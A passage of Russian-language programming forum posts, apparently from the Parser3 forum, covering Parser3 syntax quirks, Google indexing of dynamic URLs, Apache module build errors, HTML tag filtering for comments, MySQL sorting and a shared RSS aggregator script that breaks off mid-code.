[code][^user:get[session_nick]][/code] - получаю [nick ]. Откуда взялся пробел в конце?(скобки я для того и поставил, чтоб показать его). Сам код:\
[code]\
\
@CLASS\
user\
\
@get[field][field]\
^switch[$field]{\
	^case[session_nick]{$info_hash.[$cookie:session_key].session_nick}\
	^case[DEFAULT]{'$field' - $alert:not_def}\
}\
\
[/code]\
Это я у Immortal'а подглядел."
"21340","use:\
\
[code]\
...\
@get[field][field]\
^switch[$field]{\
  ^case[session_nick]{$info_hash.[$cookie:session_key].session_nick}\
  ^case[DEFAULT]{'$field' - $alert:not_def}\
}\
@other_method[]\
...\
\
[/code]\
\
or\
\
[code]\
@get[field][field]\
^switch[$field]{\
  ^case[session_nick]{$result[$info_hash.[$cookie:session_key].session_nick]}\
  ^case[DEFAULT]{$result['$field' - $alert:not_def]}\
}\
[/code]"
"21341","адреса типа ?y=2003&m=09&d=15&w=1&a=UserNick практически не индексируются роботом Google и сайт не доступен через эту поисковую систему. С нормальными адресами этого не происходит. Может дело в другом. Но это факт. Через Google ищется только прервая страница моего сайта, которая имеет адрес www.сайт.ru/index.html, а все динамические адреся обрезаются и страницы эти не ищутся."
"21342","Задача, над которой я уже бьюсь вторые сутки:\
\
Сделать меню навигации для сайта. Имена разделов беруться из sections.cfg\
Во всём меню нет вертикальной правой полосы в самом правом, и левой вертикальной правом и прямоугольничке.\
  \
Вот код меню:\
\
[code]\
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\
<tr valign=\"top\" align=\"center\">\
\
<td width=\"20%\" style=\"border-right:#000000 1px solid;\
border-top:#000000 1px solid; border-bottom:#000000 1px solid;\"\
bgcolor=\"#cccccc\"><a href=\"ссылка\">ссылка</a></td>\
\
<td width=\"20%\" style=\"border-right:#000000 1px solid;\
border-top:#000000 1px solid; border-bottom:#000000 1px solid;\"\
bgcolor=\"#cccccc\"><a href=\"ссылка\">ссылка</a></td>\
\
<td width=\"20%\" style=\"border-right:#000000 1px solid;\
border-top:#000000 1px solid;\" bgcolor=\"#ffffff\">\
<a href=\"ссылка\">ссылка</a></td>\
\
<td width=\"20%\" style=\"border-top:#000000 1px solid;\
border-bottom:#000000 1px solid;\" bgcolor=\"#cccccc\">\
<a href=\"ссылка\">ссылка</a></td>\
\
<td width=\"20%\" style=\"border-top:#000000 1px solid;\
border-left:#000000 1px solid; border-bottom:#000000 1px solid;\"\
bgcolor=\"#cccccc\"><a href=\"ссылка\">ссылка</a></td>\
\
</tr>\
</table>\
[/code]\
 	  \
то есть как должно быть в конечном html. Как сделать так, чтоб это всё нормально выводилось, даже если я допустим добавлю или удалю раздел.\
 	  \
Что-то очень похожее на tabs в Mozille.\
А ещё больше похоже на меню навигации на сайте у [url=\"http://www.narisoval.ru/\"]Ромы Воронежского[/url].\
 	  \
Заранее благодарю.\
\
P.S. Извините, что по триста раз меняю сообщение."
"21343","Этот Google\
\
Индесирует, собака, только страницы вида \
www.сайт.ru/catalog/ или\
www.сайт.ru/company/\
\
а вот такие не индексирует\
\
www.сайт.ru/company/?id=14&gr=8\
кто сталкивался с проблемой?\
\
Может надо писать www.сайт.ru/company/index.html?id=14&gr=8"
"21344","Ваш первый вариант - копия того, что написал я. Вопрос состоял в том, чтобы убрать пробел после получаемого через get значения. А второй вариант с result работает четко - пробелов не наблюдается. Сложность для меня в том, чтобы понять, откуда берется пробел прииспользовании первого варианта кода."
"21345","Есть некий сайт. Несколько уровней меню.\
Структура такова.\
0 уровень(вывожу только по одному) \"О КОМПАНИИ\"\
1 уровень \"Направление деятельности\"\
1 уровень \"Партнеры\"\
\
Есть основное меню... практически по уроку 1, только из базы.\
В разделе \"о компании\" есть подменю, которое я обозвал @company_navigation и в подразделе \"Партнеры\" есть еще подменю со всеми партнерами.\
\
Вот как выглядит @company_navigation[]\
@company_navigation[]\
^connect[$SQL.connect-string]{$company[^table::sql{select id, parent_id, name, url from navig WHERE parent_id=$sections.id}]} \
<table width=\"100%\" border=\"0\" bgcolor=\"#E6E6E6\" cellspacing=\"1\">\
   ^company.menu{\
     ^company_navigation_cell[]\
   }\
</table>\
@company_navigation_cell[]\
^if($company.url eq $request:uri){\
<tr>\
   <td style=\"padding-left: 10px\" align=\"left\" bgcolor=\"#c2c2c2\">\
	<span class=t11 id=db1>$company.name</span><br>\
	^if(in \"/company/partner/\"){\
	^submenu_navigation[]}{}\
   </td>\
</tr>\
}{\
<tr>\
   <td style=\"padding-left: 10px\" align=\"left\">\
  <a href=\"$company.url\"><span class=t11 id=gb>$company.name</span><br></a>\
   </td>\
 </tr>\
} \
\
\
и вот как подменю партнеров\
\
@submenu_navigation[]\
^connect[$SQL.connect-string]{$submenu[^table::sql{select id, name, url, parent_id from navig WHERE parent_id=$company.id}]} \
	<table border=\"0\" cellspacing=\"0\">\
	^submenu.menu{\
		^submenu_navigation_cell[]\
	}\
	</table>\
@submenu_navigation_cell[]\
	^if($company.url eq $request:uri || $submenu.url eq $request:uri){\
		<tr>\
			<td style=\"padding-left: 10px\"><a href=\"$submenu.url\"><span class=t11 id=y1>$submenu.name</span></a></td>\
		</tr>\
	}{}\
\
\
С первым подменю проблем почти нет. Все работает... А вот как только заходишь в \"партнеров\" то почему то парент_ид он видит от \"Направления деятельности\"... Может как проверку надо делать?\
Т.е. как только попал в раздел \"О КОМПАНИИ\" он думает что уже в \"Направлении деятельности\"... но когда идешь дальше, то он все равно считает что находится в \"Направлении\"\
\
Не знаю понятно или нет... но больше никак объяснить не могу...\
\
Спасибо если кто понял.:-)"
"21347","вы скрипт parser3.cgi вообще положили?\
 	  просьба не спрашивать «где его взять?», а сразу пойти в раздел «Скачать»."
"21349","1. пишите обычную рекурсию. у вас же есть HasChildren,Children.\
2. это в parser будет работать не быстро. делайте xsl преобразование."
"21350","пусть у кого есть время сделает, мы с радостью повесим viewcvs.parser.ru на указанный им host, и поставим ссылку."
"21352","Заранее прошу прощения за оффтопик.\
\
Руководство поставило цель сделать новый сайт. Компания-разработчик уже выбрана (руководством), т.к. пока моих сил и знаний не хватит, чтобы самостоятельно сделеть сайт в приемлимые сроки (естественно, я изучаю и использую Parser3).\
\
Разработчик активно предлагает использовать ASP.NET (старый сайт PHP+Linux). Какие доводы (аргументированно) можно представить руководству, что-бы сделать сайт на Linux( +хотя бы PHP)? (А уж модернизацию и какие-то новые вещи, я бы делал на Parser3.)\
\
Сейчас хостов в день-1000.\
\
Насколько трудной может быть модернизация сайта с использованием Parser3, если все же будет использована ASP.NET?"
"21353","должно работать, хотя сам я не пользуюсь этим вариантом"
"21355","может быть результатом сложных раздумий и разговоров с \"компетентными людьми\". Сложно сказать, не зная всех подводных камней и течений.\
А вот на Парсер переходить будет из разряда \"написать все \
заново\". Задайтесь вопросом:\"А оно надо?\"\
Парсер  - это, басспорно, круто. Сам люблю и уважаю. Как недавно говорили в форуме - \"Получается почти в два раза мешьше кода\". Может стоит Ф.А.К. начальству распечатать?"
"21356","Если я правильно понял.\
\
Задача сводится к тому, чтобы определить какая ячейка обрабатывается?\
\
Ежели так, то все просто.\
\
Если (^sections.line[] == 1) значит первая, линию слева не рисуем\
Если (^sections.line[] == ^sections.count[]) значит последняя, линию не рисуем справа.\
\
если сложности в другом, объясните еще подробней :)"
"21357","а совсем не в <?xml шапке, которой вообще нет.\
скопируйте первую строку из .xml в .xsl"
"21358","...и посмотреть на первую выданную ссылку..."
"21359","Руководство еще решения не приняло, но ему в принципе все равно, главное - \"что-бы работало\"; Ф.А.К. показывать-бесполезно. \
\
Собственно, мой вопрос можно сформулировать так: Linux vs. Win2k. Я понимаю, что это вопрос из ряда вечных, но все же, если есть серьезные аргументы в пользу Linux-буду признателен их услышать. Пока моего опыта недостаточно."
"21360","в яндексе \"достоинства linux\""
"21361","[url=\"http://www.yandex.ru/yandsearch?rpt=rad&text=%C4%EE%F1%F2%EE%E8%ED%F1%F2%E2%E0+linux&numdoc=0\"]достоинства linux[/url]\
Результат поиска: страниц - 6325, серверов - не менее 815\
\
[url=\"http://www.yandex.ru/yandsearch?text=%ED%E5%E4%EE%F1%F2%E0%F2%EA%E8+linux&rpt=rad\"]недостатки linux[/url]\
Результат поиска: страниц - 6686, серверов - не менее 722"
"21362","Пытаюсь сделать конструкцию следующего вида:\
\
[code]\
$refer[$env:HTTP_REFERER]\
$host[$env:HTTP_HOST]\
\
^if(!^refer.match[^^$host]){бла-бла}{не бла бла}\
[/code]\
\
Но она не работает. Хотя ошибок нет, но сравнение происходит не правильно... Подозреваю что некорректно составлены параметры для оператора match (^refer.match[^^$host]).\
Помогите разобраться."
"21363","ведь их можно просто сравнить..."
"21364","да, естественно. Так оно и есть.\
я не говорю, что линукс лучше чем виндовс. Просто человеку надо доказать начальству что-то конкретно. Я подсказал как накопать инфу. \
ЗЫ\
В религиозные войны (виндовс против линукс, линукс проти бзд, кока-кола против пепси, тампакс против кэарфри) я не вступаю."
"21365","На первой странице (www.parser.ru), в самом низу -- левая единица (1)."
"21366","Не совсем так. Мне надо в одном выражении найти другое, при том чтобы это совпадение было в начале...\
Т.е. HTTP_REFERER может быть htpp://домен.ru/news/ещечтонибудь..., а HTTP_HOST будет htpp://домен.ru, тогда значение истинно.\
По \"русски\" говоря, нужно проверить откуда пришел пользователь и сравнить с доменом где располагается скрипт..."
"21369","возможно, у вас найдутся?\
\
ни на одном из наших многочисленных проектов ничего подобного замечено не было."
"21370","С HTTP_REFERER совпадает ну очень редко - только если сервер на локальной машине заходящего. Может, имеет смысл сравнивать с SERVER_NAME? ;-)"
"21371","HTTP_HOST - Содержит доменное имя Web-сервера, на котором запустился сценарий. Эту переменную достаточно удобно использовать, например, для генерации полного пути, который требуется в заголовке Location, чтобы не привязываться к конкретному серверу."
"21372","А ошибка из-за того, что реферер начинается с http://, а хост - нет."
"21373","Угу уже понял... Но все равно всем спасибо!\
Буду пользоваться тем что предложил [b]Sumo[/b]...\
\
ps. Значит $refer.match[^^$host] всетаки работоспособная схема? Я просто подумал что парсер не понял [b]^^$host[/b]"
"21374","Кто-нибудь может сказать, можно или нет все-таки использовать базу в форума, где хеш паролей генерится php через md5($loginpassword)??\
то есть как привести парсеровские, например $apr1$c2uC4X3/$beGrpWCoPCugSYaj6.VaI/ к php'шным 563fcbf5f44e03e0eeb9c8d6e4c8e127 ???"
"21375","pos будет равен 6, если не -1. ;-)"
"21377","^if(^refer.pos[$host] != 7) и будет мне счастье :)"
"21378","Дело в том, что сей хостинг с багом от того же собеседника yz из предыдущего треда. \
Не имею возможности экспериментировать, т.к. нет доступа к apache и shellу.\
\
На других платформах все как и у вас работает отменно.\
\
P.S. хостинг - hosting.iptelecom.net.ua"
"21381","мой сайт проиндексирован googl-ом только по адресам вида:\
[code]\
www.сайт.ru/catalog/\
www.сайт.ru/product/\
www.сайт.ru/info/\
[/code]\
а такие адреса\
[code]\
www.сайт.ru/catalog/?id=5\
www.сайт.ru/info/?id=6&pr=8 \
[/code]\
ну не индексирует.\
В чем может быть дело?"
"21382","напишите тривиальный тест на perl (очевидно, так же не будет работать), чтобы администратор не начал вам рассказывать небылицы про parser."
"21383","Ctrl+F, \"Microsoft\"\
\
;-)"
"21384","спасибо за чёткое описание.\
\
если нужно срочно, можете собрать из исходников: CVS|HEAD"
"21385","А то у меня ругаетс однако на такой код:\
[code]\
$pass[^math:md5[123456789]]\
[/code]\
Произошла ошибка! parser.runtime \
При выполнении кода: f:/inetpub/test/1.phtml \
Строка номер: 2 \
Ошибка возникла при работе с: \
md5\
Комментарий: (void) not a method or junction, can not call it \
Дока по Парсеру от 02.12.2002 - там тоже нету такого..."
"21387","там справа [x.x.x]"
"21388","просто по ссылке есть, а у меня нету в скаченном файле... вот и не пойму, то ли я не там смотрю... то ли я не там смотрю...\
видимо, не там смотрел..."
"21389","просто отстал от жизни прилично вот и парился зазря, спасибо просветили... теперь дело техники - upgrade (увлекательная игра, однако)...\
всем спасибо..."
"21390","в тексте статьи про md5: Ctrl+F \"[\""
"21391","Собираю parser 3.1.0 c --with-apache13=<path to apache src>\
make вылетает с  такой ошибкой:\
Making all in isapi\
Making all in apache13core\
Variable INCLUDES is recursive.\
*** Error code 1\
\
куда копать?"
"21392","так как стоит после </html>\
Кстати это не единица а маленькая латинская L"
"21394","Была такая проблема с CGI, - с модулем не знаю, не пробовал. Под Линукс и Соларис с CGI не замечал подобных вещей."
"21395","the same:\
Making all in isapi\
Making all in apache13core\
Variable INCLUDES is recursive.\
*** Error code 1\
\
Stop in /users/home/yz/www/parser/parser3/src/targets.\
*** Error code 1\
\
Stop in /users/home/yz/www/parser/parser3/src.\
gmake: *** [all-recursive] Ошибка 1"
"21396","попробуйте заменить\
[code]\
INCLUDES := $(INCLUDES) ...\
[/code]\
на\
[code]\
INCLUDES = ...\
[/code]"
"21397","Если не секрет, почему выбрали Win? \
\
И хостинг на Win дороже. В чем преимущество? Какие-то специфические сервисы, интеграция с какими-то продуктами от Microsoft?"
"21399","Вы про тот Makefile.am, что в src/targets/apache13core?\
Заменил, проблема осталась:\
[code]\
Making all in isapi\
cd ../../.. && /usr/local/bin/bash ./config.status src/targets/isapi/Makefile\
config.status: creating src/targets/isapi/Makefile\
Making all in apache13core\
Variable INCLUDES is recursive.\
*** Error code 1\
[/code]"
"21400","И те, что обеспечивают офисную деятельность, и те, что поддерживают www, mail  и dns, и те, что обеспечивают распределение БД между нами и австрийским офисом. Втыкать туда отдельный комп с линуксом не с руки - тем более что постоянно читать bugtraq и ставить патчи админу не хочется. Ему и винды хватает.\
\
Кстати, если бы админу дали волю, у нас бы серверы (за исключением citrix'овского и эксчейнджевского) - бегали бы под freebsd.\
\
Корректно поддерживаемая винда ни в чём не уступает линуксу, так что отставьте, пожалуйста, религиозные споры. Парсер и под виндой работает."
"21401","пожалуйста, поправьте конечный Makefile [судя по всему, automake у вас нет, и это изменение не вошло в силу]"
"21403","\"конечный\" это src/targets/apache13core/Makefile?\
легче не стало =(\
[code]\
Making all in isapi\
Making all in apache13core\
source='pa_threads.C' object='pa_threads.o' libtool=no  depfile='.deps/pa_threads.Po' tmpdepfile='.deps/pa_threads.TPo'  depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../apache13 -I../../classes -I../../types -I../../../src/lib/ltdl -I../../sql -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/include -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/unix -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/win32     -g -O2 -c -o pa_threads.o `test -f 'pa_threads.C' || echo './'`pa_threads.C\
source='mod_parser3.C' object='mod_parser3.o' libtool=no  depfile='.deps/mod_parser3.Po' tmpdepfile='.deps/mod_parser3.TPo'  depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../apache13 -I../../classes -I../../types -I../../../src/lib/ltdl -I../../sql -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/include -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/unix -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/win32     -g -O2 -c -o mod_parser3.o `test -f 'mod_parser3.C' || echo './'`mod_parser3.C\
mod_parser3.C:12: pa_httpd.h: No such file or directory\
*** Error code 1\
[/code]"
"21404","apache13core/Makefile\
добавьте к списку INCLUDE = \
[code]\
-I../apache13\
[/code]"
"21405","Так оно и есть изначально...\
[code]\
[root#hosting02][~/www/parser/parser3]> egrep ^INCLUDE src/targets/apache13core/Makefile\
INCLUDES = -I../apache13 -I../../classes -I../../types $(INCLTDL) -I../../sql -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I$(APACHE13)/src/include -I$(APACHE13)/src/os/unix -I$(APACHE13)/src/os/win32 \
[/code]"
"21407","так как в случае с in надо точно указывать каталог, а у меня они в sections.cfg, тут нужно скорее всего имено сравнивать."
"21408","в includes указан, компилятор не видит.\
возможно, компилятору из make эта строчка не доходит?\
можно увидить команду компилятора? [в предыдущем вашем post'е её не видно]"
"21410","А в предпредыщем видно:\
[code]\
Making all in isapi\
Making all in apache13core\
source='pa_threads.C' object='pa_threads.o' libtool=no  depfile='.deps/pa_threads.Po' tmpdepfile='.deps/pa_threads.TPo'  depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../apache13 -I../../classes -I../../types -I../../../src/lib/ltdl -I../../sql -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/include -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/unix -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/win32     -g -O2 -c -o pa_threads.o `test -f 'pa_threads.C' || echo './'`pa_threads.C\
source='mod_parser3.C' object='mod_parser3.o' libtool=no  depfile='.deps/mod_parser3.Po' tmpdepfile='.deps/mod_parser3.TPo'  depmode=gcc /usr/local/bin/bash ../../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../../src/include -I../apache13 -I../../classes -I../../types -I../../../src/lib/ltdl -I../../sql -I../../lib/cord/include -I../../lib/pcre -I../../lib/md5 -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/include -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/unix -I/usr/ports/WORK/usr/ports/russian/apache13/work/apache_1.3.27/src/os/win32     -g -O2 -c -o mod_parser3.o `test -f 'mod_parser3.C' || echo './'`mod_parser3.C\
mod_parser3.C:12: pa_httpd.h: No such file or directory\
*** Error code 1\
[/code]"
"21412","В ответ на любой поисковый запрос на форуме выдаётся список ВСЕХ постингов... (((("
"21415","однако, я не могу понять ваш вариант\
почему вы ставите [code]^[/code] [code][][/code] и [code]==[/code] ?"
"21417","мой сайт индексируется googl-ом только по адресам вида: \
[code]\
www.сайт.ru/catalog/\
www.сайт.ru/product/\
www.сайт.ru/info/\
[/code]\
а такие адреса \
[code]\
www.сайт.ru/catalog/?id=5\
www.сайт.ru/info/?id=6&pr=8 \
[/code]\
ну не индексирует.\
\
В чем может быть дело?"
"21418","но, что делать со средними ячейками (тоесть теми, что между крайними) если у нас их может быть в разных случаях, разное количество, как правильно определить куда надо поставить border-right, а куда border-left\
 	  \
вот в чём вопрос :-)\
\
P.S. тут какой-то баг(ещё со вчерашнего дня), когда меняешь сообщение, тут какие-то непонятные табуляции вставляються в поле..."
"21419","не поверите, но если ячейка не первая и не последняя, значит она где-то в середине.\
\
комбинация из 2-ух if..."
"21420","...которое я углядел, так это табуляция у меня перед ^case. Неужели из-за нее появляется пробел? К тому же я сразу испробовал первый кусок copy/paste, результат с пробелом, а второй кусок copy/paste - работает четко. Странно..."
"21421","именно целиком, от одного многоточия до другого, включая \"@other_method[]\""
"21423",":)) На самом деле, как оказалось при внимательном рассмотрении исходного кода, XSL и Parser здесь совершенно не причем... В HTML-коде страницы в самом верху главной таблицы была обнаружена \"дырка\": не хватало атрибута [code]valign=\"top\",[/code] а поскольку по умолчанию атрибут valign=\"middle\", верхний элемент (заглушка) страницы немного смещался вниз и создавал впечатление поля в 1px ввреху страницы.\
\
...вот что значит не прикасаться к клавиатуре своего компьютера больше года... хватка теряется. Извините за бесполезный топ."
"21424","...обработать кроме текущего XML-документа, другой? Ну, например. Необходимо, чтобы в шаблоне анализировался xml-файл, отражающий структуру сайта (меню), используя при этом данные разделов сайта (то есть другие xml-документы). Таким образом не придется в каждом xml-документе заного перелопачивать все меню и помечать текущий раздел каким-либо атрибутом."
"21426","Выкидывает сабж при попытке сделать следующее...\
\
[code]\
@voting[]\
$res_voting[^table::load[/voting.cfg]]\
^if(!def $cookie:my_voting){\
<table width=100% border=0 cellspacing=0 cellpadding=4>\
	<tr>\
		<td colspan=3  style=\"font-family: Tahoma; font-size: 8pt;\"><b>xcvxcvxcvxcvxcvxc</b><br><br></td>\
	</tr>\
</table>\
}\
[/code]\
\
Где грабли?"
"21427","Если верить логам, по десятку страниц с сайта в день. Может, он до динамических страниц не дошёл? Или robots.txt кривой?"
"21429","Грабли нашел. Оказывается \";\" необходимо предварять символом \"^\"...\
\
Отсюда возникает вопрос к разработчикам: Неужели каждую \";\" встречающуюся в html-разметке придется так сказать \"предварять символом ^\"? Если да,то не кажется ли вам что это немного гемморно, если учесть всякие там - &nbsp; &quot; &copy; и т.д.?\
\
Как быть?"
"21430","для начала, не \"в шаблоне\", а \"шаблоном\".\
а потом, кто мешает обработать последовательно нужные XMLи или поимпортить их все в один, который и обработать?"
"21431","Угу спасибо, уже понял :)"
"21432","Но ведь если пользовать XML/XSL + DB в коде страницы не будет _ни одной_ энтити - они или придут из базы или будут в шаблоне, который не выполняется как код парсера."
"21433","А если не пользовать? Придется обламываться?"
"21434","Я уже на автомате их расставляю, даже не задумываясь, если вдруг нужно именно в код впарить. Опять же, хороший контроль - четко понимаешь, зачем здесь ставится \";\" - в качестве разделителя параметров или просто символ."
"21435","Хмм, может быть конечно и не сложно, но для меня как-то дико..."
"21436","Как сделать добавление комментария к форуму, заметке и т.п. в стиле LiveJournal - когда есть список допустимых тэгов (<b>, <i>, <img ..> и так далее?) и недопустимых тэгов (<object>, <script>, <h1>) и параметров (style, class)? Кто-нибудь это уже реализовывал?\
\
И ещё - как сделать всем тегам пару? Например, мне на сайт добавили комментарий, юзверь не закрыл тэг, и документ перестал быть валидным html'ем?"
"21439","что-то вроде [url=\"http://www.parser.ru/forum/?id=14651\"]типографа[/url] Павла Титова, только вместо расставления кавычек (или \"вместе с\") удаляем запрещенные и незакрытые тэги.\
\
Сам не реализовывал подобное, так что на уровне идеи, вообще я на \"валидный HTML\" никогда не заморачиваюсь, здоровье дороже.\
Если оно нужно для трансформа, можно еще попробовать xdoc посоздавать и ошибки поотлавливать, это у egr описано в статье про RSS..."
"21440","Тексты обрабатывать при сохранении. \
Брать текст, вырезать нужные теги с помощью regex и заменять их на некие сочетания символов (например: <ttt>), в оставшемся тексте заменить все символы <> на &lt; &gt; соответственно. После всего теги вернуть обратно и выводить уже как html.\
Ненужные теги работать не будут, но могут срабатывать некоторые javascript-ы.\
Лучше конечно делать как на этом форуме с помощью псевдотегов.\
\
А что касательно закрытия тегов, то тут сам посебе алгоритм анализа текста очень сложный.\
Как к примеру опребелить где нужно закрыть теги в строке?\
[code]<b>Красная армия <i>всех сильней</i>[/code]\
Если закрывать теги в конце строки -- это одно, если перед другим тегом -- другое.\
А что делать если оба тега не закрыты?\
[code]<b>Красная армия <i>всех сильней[/code]\
Если их закрывать в порядке нахождения в конце строки, то код будет не валидным. Если в обратном, то скорее всего тоже, т.к. я привел самый простой пример.\
\
Вывод: лучше всего сделать доступными псевдотеги."
"21442","Если не ошибаюсь то копать надо здесь:\
http://cvs.livejournal.org/browse.cgi/livejournal/cgi-bin/cleanhtml.pl?rev=1.69&content-type=text/x-cvsweb-markup\
Но наворочено там ... и тянет за собой кой-какие модули HTML::TokeParser например ...."
"21443","... а все замены делать при выводе.\
\
почему?\
\
а если завтра вы решите разрешить всем писать тэг table который вчера был запрещен, что будете делать?\
\
уже не раз обсасываемый вариант: хранить и оригинальный текст и препроцессеный, при выводе, чтобы не терять время, используется препроцессеный, а если что изменилоь, у вас есть оригинальный...\
\
про автозакрытие тэгов:\
гори оно все огнем. вопрос стоит как правило не в наведении красоты за забывчивым автором, а в том, чтобы чья-то забывчивасть не сказалась на остальных. поэтому ищем непарные теги и закрываем их в конце. однако, если у нас xml - мучаемся."
"21444","халявы не будет...\
\
хочешь быть умным... учись лучше :-)"
"21445","Есть таблица в которую занесены подписчики на корпоративные новости. Структура: id, email\
Как с помощью SQL(MYSQL) выбрать записи отсортированные по домену, например:\
\
Записи:\
1@c.ru\
1@b.ru\
2@a.ru\
3@b.ru\
0@a.ru\
\
Результат:\
0@a.ru\
2@a.ru\
1@b.ru\
3@b.ru\
1@c.ru"
"21446","Поиском по форуму быстро нашел, вставляешь в поле ошибку которую тебе выдал Парсер и ищешь.\
Описание этой ошибки в faq есть."
"21447","в faq по поводу этой ошибки написано:\
\
[quote]\
…method of MAIN (MAIN) accepts maximum XX parameter(s)…\
Это означает, что вы вызываете метод, и пытаетесь передать ему больше параметров, чем тот может принять.\
[/quote]\
\
а почему написано про количество параметров (и вообще как это передать больше параметров, чем может принять), если речь идёт о ^; разделителе параметров?\
\
Заранее благодарю."
"21448","или он все равно должен быть с указанием индексации для всех агентов"
"21449","[url=\"http://www.parser.ru/f/1/ptic.gif\"]Парсер[/url] не злодей, он не будет орать на вас из за каждой \"точки с запятой\" если она ему не мешает.\
\
в случае же с if получаем следующее:\
[code]\
^if(\
      логическое выражение # первый параметр\
){ \
      код, если «истина»   # второй параметр \
}{ \
      код, если «ложь»     # третий параметр\
      &nbsp;               # всё ещё третий, до \";\"\
      продолжение кода     # четвёртый параметр, что с ним делать прикажете? \
} \
[/code]\
\
подробнее здесь: http://www.parser.ru/docs/lang/params.htm"
"21451","Предлагаю, добавить весь FAQ (хотя я думаю, что можно и даже лучше только \"вопросы по языку\" и \"парсерные сообщения об ошибках\") в скачиваемую документацию, чтоб всегда под рукой было, потому, что заглядывать туда приходится частенько."
"21452","Подскажите, плз, как лучше отключить обработку parser'ом файлов в отдельном подкаталоге, если в каталогах верхнего уровня обработка файлов с таким расширением включена?"
"21454","[code]\
SELECT\
  email\
FROM\
  auser\
ORDER BY\
  MID(email, LOCATE('@', email)+1, 1)\
[/code]\
\
однако это плохое решение, особенно если подписчиков много, т.к. серверу придется вычислять функцию сортировки для каждой записи, и даже если вы захотите ввести LIMIT это не поможет.\
\
вариант: внести избыточность: хранить отдельно домен, и сделать по нему индекс. при добавлении подписчика добавлять и его домен. будет летать."
"21456","Значит, родил я subj. Код ниже, пользуйтесь. Это кусок более масштабного проекта (знающие люди могут убедиться, что он продвигается).\
\
Обновление RSS'ов вызывается так:[code]^rss:update_list[][/code]вывод сообщений со всех подписанных сайтов в одну френдленту - так: [code]^rss:display[][/code]\
\
Создайте две таблицы в MySQL, метод ^MAIN:dbconnect со строкой подключения в корневом  auto.p и запишите туда же следующие переменные:[code]# URL сервера (без слэша на конце!) Обычно угадывается верно, но, например, \
# на хостинге Zenon это не всегда так, и приходится вписывать вручную):\
$global_server[$env:SERVER_NAME]\
\
# Сдвиг вашего локального времени (не летнего, обычного) от Гринвича\
# (в Лондоне - 12:00, в Москве - 15:00, получается, что $global_timeoffset = +3 )\
# (Для жителей центральной Австралии - ваш offset - дробный: \"9.5\")\
\
$global_timeoffset(3)\
\
# Ваше локальное время сдвигается летом?\
$global_daylight[yes]\
\
# Это происходит с [день, месяц] по [день, месяц]:\
# (обычно с 29-Mar по 25-Oct, см. http://www.worldtimezone.com/daylight.htm)\
\
$global_daylight_m_start(3)\
$global_daylight_d_start(29)\
\
$global_daylight_m_end(10)\
$global_daylight_d_end(25)[/code]\
\
[b]SQL Dump[/b][code]#\
# Table structure for table 'cityblog_rssitems'\
#\
\
DROP TABLE IF EXISTS cityblog_rssitems;\
CREATE TABLE cityblog_rssitems (\
  id int(16) unsigned NOT NULL auto_increment,\
  title text,\
  link varchar(255) NOT NULL default '/',\
  description text NOT NULL,\
  pubdate datetime NOT NULL default '0000-00-00 00:00:00',\
  PRIMARY KEY  (id),\
  UNIQUE KEY id (id),\
  KEY id_2 (id)\
) TYPE=MyISAM COMMENT='Items from RSS feeds';\
\
#\
# Table structure for table 'cityblog_rsslist'\
#\
\
DROP TABLE IF EXISTS cityblog_rsslist;\
CREATE TABLE cityblog_rsslist (\
  uri varchar(255) NOT NULL default '',\
  name varchar(255) default NULL,\
  last_update datetime NOT NULL default '0000-00-00 00:00:00',\
  is_enabled enum('yes','no') NOT NULL default 'no',\
  min_refresh_period tinyint(3) unsigned NOT NULL default '1',\
  hours_to_keep tinyint(3) unsigned NOT NULL default '24',\
  PRIMARY KEY  (uri),\
  UNIQUE KEY uri (uri),\
  KEY uri_2 (uri)\
) TYPE=MyISAM COMMENT='RSS feeds to fetch';\
\
\
\
#\
# Dumping data for table 'cityblog_rsslist'\
#\
\
INSERT INTO cityblog_rsslist (uri, name, last_update, is_enabled, min_refresh_period, hours_to_keep) VALUES(\"http://forum.gfk.ru/forum/rss.html\", \"Forum.GfK.ru\", \"2003-10-01 11:15:41\", \"yes\", \"1\", \"24\");\
INSERT INTO cityblog_rsslist (uri, name, last_update, is_enabled, min_refresh_period, hours_to_keep) VALUES(\"http://www.parser.ru/_rss.html\", \"Parser.ru Forum\", \"0000-00-00 00:00:00\", \"no\", \"1\", \"24\");[/code]\
\
[b]Файлы классов: rss.p[/b][code]##############################\
# В этот класс вынесен весь код, который\
# отвечает за чтение RSS потоков с других сайтов.\
@CLASS\
rss\
\
@USE\
log.p\
\
##############################\
# Загрузчик\
@load[]\
$result[]\
\
##############################\
# Получение списка RSS ньюсфидов, которые не обновлялись больше часов, чем\
# указано в столбце min_refresh_period и их обновление\
@update_list[]\
\
<p>Идёт поиск RSS-лент, которые должны быть обновлены&#133^; \
\
^MAIN:dbconnect{\
	$rss_feeds[\
		^table::sql{SELECT\
			uri,\
			name,\
			last_update,\
			is_enabled,\
			min_refresh_period,\
			hours_to_keep\
		FROM\
			cityblog_rsslist\
		WHERE\
			is_enabled=\"yes\"\
		AND\
			(UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(last_update)) >= (min_refresh_period * 60 * 60) # В часе 60 минут по 60 секунд, если вы не в курсе :-)\
		ORDER BY\
			last_update\
		}\
